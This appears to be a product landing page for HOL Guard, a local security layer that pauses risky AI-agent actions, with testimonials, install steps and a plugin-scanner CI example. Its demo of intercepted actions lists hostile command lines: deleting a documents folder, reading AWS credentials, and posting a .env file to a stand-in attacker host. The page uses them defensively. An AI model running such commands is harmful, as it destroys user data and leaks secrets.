Real Guard blocks, replayed. Each one is a mistake your AI almost made — stopped before it happened.
Guard watches what your AI assistant tries to do and asks you first before anything risky — deleting files, reading passwords, installing software, or sending your data out.
Runs on your computer — your files never leave your machine. Works even with no internet.
Free to start. We'll email you the setup steps so they're ready when you are.
Direct answers
What it is, what it protects, how the open-source boundary works, and how to evaluate fit.
HOL Guard is a local-first runtime security layer for AI agents. Its core Guard Local runtime is open source and evaluates supported tool calls and local artifacts, blocks known threats, pauses ambiguous actions for approval, and records security receipts. Guard Local runs on the developer machine without a cloud account. Guard Cloud is an optional, separately scoped service for synchronization, shared policy, fleet visibility, and team workflows.
HOL Guard protects supported AI-agent workflows against secret and credential exposure, destructive commands, prompt-injection-driven actions, malicious or changed packages, risky MCP configuration, and unsafe plugins, skills, hooks, and agent settings. Enforcement depth varies by agent and event type, so the public coverage matrix states what is blocked, reviewed, observed, or not covered.
HOL Guard's core Guard Local runtime is open source under Apache-2.0. It can be installed, inspected, and used without a paid plan or cloud account, and normal local protection continues offline. Guard Cloud is an optional, separately scoped service for synchronized evidence, shared policy, fleet visibility, and team workflows.
The best alternative depends on the control boundary you need. Native agent approvals confirm individual actions, static scanners inspect packages and MCP configurations, sandboxes isolate processes, model guardrails filter prompts and outputs, and gateways centralize MCP or network traffic. HOL Guard is the open-source local-runtime option for cross-agent policy, pre-execution review on supported events, approvals, and local evidence.
How Guard protects you
Guard sits quietly between your AI assistant and your computer. The moment your AI tries something risky, Guard pauses it and asks you — before anything happens.
Runs on your computer. Your files never leave your machine.
Live intercepts
4 risky actions stopped
rm -rf ~/Documents
tried to delete your documents folder
cat ~/.aws/credentials
tried to read your saved cloud passwords
npm run build
tried to build your project
curl -X POST evil.sh < .env
tried to send your secrets to a stranger
git push origin main
tried to push straight to your main branch
code src/index.ts
tried to open a file to edit
What Guard stops
You don't need to understand the technical details. Guard knows the difference between normal work and a dangerous move — and it only interrupts you when it matters.
<50ms
to check each action
100%
on your machine
0
files ever uploaded
What Guard does with each
HOL is a neutral consortium building agentic AI Standards
Loved by developers
Unsolicited words from people who installed it, ran it, and looked at the code — not paid placements.
“An invaluable tool.”
Kevin Zepeda-Compton
Product Hunt
“Exactly what we need.”
Adrian Tomkins
Product Hunt
“Exactly what was missing.”
Petr Kovacik
Product Hunt
“Incredible work.”
Brandon Davenport
Product Hunt
“An invaluable tool.”
Kevin Zepeda-Compton
Product Hunt
“Exactly what we need.”
Adrian Tomkins
Product Hunt
“Exactly what was missing.”
Petr Kovacik
Product Hunt
“Incredible work.”
Brandon Davenport
Product Hunt
“More useful than half the polished AI demos.”
@AIDailyGems
X
“The millisecond overhead is a small price.”
Timur Cimerman
Engineer
“I like that this sits before the agent.”
Yaroslav Stelmakh
Product Hunt
“More useful than half the polished AI demos.”
@AIDailyGems
X
“The millisecond overhead is a small price.”
Timur Cimerman
Engineer
“I like that this sits before the agent.”
Yaroslav Stelmakh
Product Hunt
Enter your email to create your free account.
For maintainers
Validate extensions before release. Use plugin-scanner for maintainer CI checks, then use hol-guard locally to enforce runtime decisions.
# Local maintainer gate
$ pipx install plugin-scanner
$ plugin-scanner verify .
# GitHub Actions PR gate
permissions:
contents: read
security-events: write
jobs:
scan-plugin:
runs-on: ubuntu-latest
steps:
- uses: actions/checkout@v4
- uses: hashgraph-online/ai-plugin-scanner-action@v1
with:
plugin_dir: "."
min_score: 80
fail_on_severity: highAuto-detects Codex plugins, Claude Code plugins, Gemini CLI extensions, and OpenCode workspace bundles in any repository.
Computes a weighted trust score across security, MCP posture, installability, and maintenance. Plugins that pass can display Scanner Clean, MCP Hardened, and Marketplace Ready badges.
Use plugin-scanner verify in CI, or the published ai-plugin-scanner action, to gate PRs before release.
Flags insecure HTTP MCP endpoints, wildcard binds, and missing auth postures before they reach production.
Checks relative paths, required screenshots, privacy policy URLs, and plugin metadata completeness — the same rules the HOL Registry uses for import.
Scans bundled skills for prompt injection markers, zero-width characters, dangerous shell commands, and secret leaks.
Supported agents
set -o pipefail; curl -fsSL https://hol.org/guard/install.sh | bash -s -- --harness cursor --mode install --verifyInstalls Guard and configures Cursor in one step. Already installed?
Prompt injection, MCP tool poisoning, supply-chain attacks, and secret exfiltration — real threats against AI coding agents, explained with detection steps and fixes.
Explore the security hubReal attack breakdowns, detection steps, and Guard configuration for each threat. Browse advisories, warnings, and interactive labs.
Browse advisories & warningsGuard always protects you on your own computer first — your files never have to leave your machine. Guard Cloud simply adds shared rules and team dashboards on top; it never takes over that local protection.
Runs entirely on the developer machine. Enforces policy on AI agent actions without any cloud dependency. Keeps a local decision trail of what was approved and what changed.
Adds shared policy, org-wide telemetry, and team dashboards on top of the local enforcement layer. Cloud connectivity is for visibility and coordination, not for enforcement.
Create a free account. Install locally in 30 seconds. No credit card required.